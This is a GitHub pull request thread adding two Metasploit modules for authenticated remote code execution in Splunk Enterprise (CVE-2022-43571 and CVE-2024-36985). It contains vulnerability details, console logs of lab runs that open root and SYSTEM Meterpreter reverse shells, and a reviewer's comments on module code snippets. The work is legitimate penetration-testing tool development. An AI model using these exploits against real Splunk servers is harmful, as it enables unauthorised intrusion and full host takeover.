Skip to content

Conversation

@vognik
Copy link
Contributor

@vognik vognik commented Dec 12, 2025

CVE-2022-43571

Vulnerability Details

This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.

An attacker can inject arbitrary Python code into style parameters, such as the fillColor or lineColor of a sparkline element within a Splunk SimpleXML dashboard.
The malicious code is executed when a user triggers the PDF export function for the dashboard.

The affected versions include any release prior to 8.1.12, as well as versions 8.2.0 through 8.2.9 and 9.0.0 through 9.0.2.

Module Information

Module path: modules/exploits/multi/http/splunk_auth_rce_cve_2022_43571.rb
Platform: Linux/Unix/Windows

References

Test Output

Linux

msf6 > use multi/http/splunk_auth_rce_cve_2022
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set RHOSTS 192.168.19.139
RHOSTS => 192.168.19.139
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set RPORT 8000
RPORT => 8000
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set PASSWORD password123
PASSWORD => password123
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > run

[*] Started reverse TCP handler on 192.168.19.130:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] SUCCESSFUL LOGIN. 'admin' : 'password123'
[+] The target appears to be vulnerable. Exploitable version found: 8.2.4
[*] Sending stage (24772 bytes) to 192.168.19.139
[*] Meterpreter session 2 opened (192.168.19.130:4444 -> 192.168.19.139:59524) at 2025-12-12 15:11:44 -0500

meterpreter > sysinfo
Computer        : ubuntu
OS              : Linux 5.4.0-150-generic #167~18.04.1-Ubuntu SMP Wed May 24 00:51:42 UTC 2023
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: root

Windows

msf6 > use multi/http/splunk_auth_rce_cve_2022_43571
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set RHOSTS 192.168.19.137
RHOSTS => 192.168.19.137
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set RPORT 8000
RPORT => 8000
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set PASSWORD password123
PASSWORD => password123
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > run

[*] Started reverse TCP handler on 192.168.19.130:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] SUCCESSFUL LOGIN. 'admin' : 'password123'
[+] The target appears to be vulnerable. Exploitable version found: 8.2.6
[*] Sending stage (24772 bytes) to 192.168.19.137
[*] Meterpreter session 3 opened (192.168.19.130:4444 -> 192.168.19.137:62128) at 2025-12-12 15:21:53 -0500

meterpreter > sysinfo
Computer        : DESKTOP-vognik
OS              : Windows 10 (Build 19044)
Architecture    : x64
System Language : en_US
Meterpreter     : python/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

CVE-2024-36985

Vulnerability Details

This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise (splunk_archiver application).

The flaw is rooted in the unsafe use of a Splunk lookup function, specifically | copybuckets, within the splunk_archiver application, which ultimately leads to the execution of the helper script sudobash with attacker-controlled arguments.

The affected versions include any release prior to 9.0.10, as well as versions 9.1.2 through 9.1.5 and 9.2.0 through 9.2.2.

Module Information

Module path: modules/exploits/linux/http/splunk_auth_rce_cve_2024_36985.rb
Platform: Linux/Unix

References

Test Output

msf6 > use linux/http/splunk_auth_rce_cve_2024_36985
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set RHOSTS 192.168.19.139
RHOSTS => 192.168.19.139
msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set RPORT 8000
RPORT => 8000
msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set FETCH_SRVPORT 8090
FETCH_SRVPORT => 8090
msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set PASSWORD password123
PASSWORD => password123
msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > run

[*] Started reverse TCP handler on 192.168.19.130:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] SUCCESSFUL LOGIN. 'admin' : 'password123'
[+] The target appears to be vulnerable. Exploitable version found: 8.2.4, splunk_archiver app is enabled
[*] Sending stage (3045380 bytes) to 192.168.19.139
[*] Meterpreter session 1 opened (192.168.19.130:4444 -> 192.168.19.139:55936) at 2025-12-12 15:04:44 -0500

meterpreter > sysinfo
Computer     : 192.168.19.139
OS           : Ubuntu 18.04 (Linux 5.4.0-150-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

@vognik
Copy link
Contributor Author

vognik commented Dec 15, 2025

There are a few problems:

  1. When you execute | archivebuckets forcerun=1, the system takes a few seconds to drop sudobash. It seems like I need to add sleep
  2. The index _internal can be empty
  3. The get_apps function can't retrieve the full list of apps because it doesn't support pagination
  4. When Splunk is running behind a reverse proxy, the suffix of the splunkweb_csrf_token_ cookie does not always match RHOST

@vognik vognik marked this pull request as draft December 15, 2025 10:24
@vognik vognik marked this pull request as ready for review December 18, 2025 16:50
@jheysel-r7 jheysel-r7 self-assigned this Jan 5, 2026
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the modules and library additions @vognik! Both look great and are working as expected. A couple suggestions.

Testing

msf exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
set msf exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set password password123
password => password123
msf exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set rport 8000
rport => 8000
msf exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set forceexploit true
 forceexploit => true
msf exploit(linux/http/splunk_auth_rce_cve_2024_36985) > run
[*] Started reverse TCP handler on 192.168.1.68:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] SUCCESSFUL LOGIN. 'admin' : 'password123'
[!] The target is not exploitable. Non-vulnerable version found: 8.2.4 ForceExploit is enabled, proceeding with exploitation.
[*] Sending sudobash create request...
[+] sudobash create request has been sent!
[*] Sleep for 3 seconds before it is dropped on the filesystem...
[+] Sleep Completed
[*] Sending trigger exploit request...
[*] Sending stage (3090404 bytes) to 192.168.1.68
[*] Meterpreter session 1 opened (192.168.1.68:4444 -> 192.168.1.68:56797) at 2026-01-05 08:53:27 -0800

meterpreter > getuid
Server username: splunk
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Red Hat Enterprise Linux 8 (Linux 6.12.54-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
msf exploit(multi/http/splunk_auth_rce_cve_2022_43571) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] SUCCESSFUL LOGIN. 'admin' : 'password123'
[+] The target appears to be vulnerable. Exploitable version found: 8.2.4
[*] Sending stage (23408 bytes) to 172.16.199.1
[-] Meterpreter session 2 is not valid and will be closed
[*] Sending stage (23408 bytes) to 172.16.199.1
[*] 127.0.0.1 - Meterpreter session 2 closed.
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.1:58958) at 2026-01-05 10:37:36 -0800

meterpreter > getuid
Server username: splunk
meterpreter > sysinfio
[-] Unknown command: sysinfio. Did you mean sysinfo? Run the help command for more details.
meterpreter > sysinfo
Computer        : 53f620d861ee
OS              : Linux 6.12.54-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Nov  4 21:39:03 UTC 2025
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter >

apps = {}
vars_get = {}

loop do
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would it be better to use Metasploit's retry_until_truthy or some type of loop that has a definitive end just in case?

def retry_until_truthy(timeout:)

# @param cookie [String] Valid admin's cookie
# @return [Rex::Proto::Http::Response] HTTP response object
def create_dashboard(namespace, name, template, cookie)
csrf = extract_csrf_token(cookie)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would it be worth it to check to see if csrf is nil here before using it send_request_cgi?

Just curious, this comment would apply to a number of places in this PR, I noticed extracted_csrf_token can return nil but the return value is never checked before being used.

return nil
end

version = splunkd_partials.dig('/services/server/info', 'entry', 0, 'content', 'version')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
version = splunkd_partials.dig('/services/server/info', 'entry', 0, 'content', 'version')
version = splunkd_partials.dig('/services/server/info', 'entry', 0, 'content', 'version')
return nil unless version

[
OptString.new('TARGETURI', [true, 'Path to the Splunk App', '/']),
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'changeme' ]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I know this is used elsewhere in the code base however I think the preferred way is to leave the default blank with required set to true. In the event the operator doesn't set the password, the framework notifies them, instead of the module running against the target with the password set to changeme.

Suggested change
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'changeme' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username']),

def check
@cookie = splunk_login(datastore['USERNAME'], datastore['password'])
version = splunk_home_version(@cookie)
if version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.9')) ||
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The doc descriptions says "The affected versions include any release prior to 9.0.10"

Suggested change
if version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.9')) ||
if version <= Rex::Version.new('9.0.9')) ||

"env.#{env_name}" => payload
}
}
}.to_json.to_json
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is this double encode intentional? If so, could you add a brief comment explaining why

print_good('sudobash create request has been sent!')

print_status('Sleep for 3 seconds before it is dropped on the filesystem...')
Rex::ThreadSafe.sleep(3)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you make the sleep time a configurable datastore option please?

dash_template.gsub(/^\s+/, '')
end

def cleanup
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
def cleanup
def cleanup
super

Comment on lines +127 to +128
rescue StandardError
nil
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would this be more beneficial to the operator?

Suggested change
rescue StandardError
nil
rescue Msf::Exploit::Failed
print_warning("Module failed to delete the dashboard, \"#{@dash_name}\", which was created by the exploit")


def exploit
if @cookie.nil?
@cookie = splunk_login(datastore['USERNAME'], datastore['password'])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nit pick - would you be able to capitalize instances of datastore['password'] across these two modules for consistency?

Suggested change
@cookie = splunk_login(datastore['USERNAME'], datastore['password'])
@cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])

@jheysel-r7 jheysel-r7 added module docs rn-modules release notes for new or majorly enhanced modules labels Jan 5, 2026
@jheysel-r7 jheysel-r7 moved this from Todo to Waiting on Contributor in Metasploit Kanban Jan 9, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

docs module rn-modules release notes for new or majorly enhanced modules

Projects

Status: Waiting on Contributor

Development

Successfully merging this pull request may close these issues.

2 participants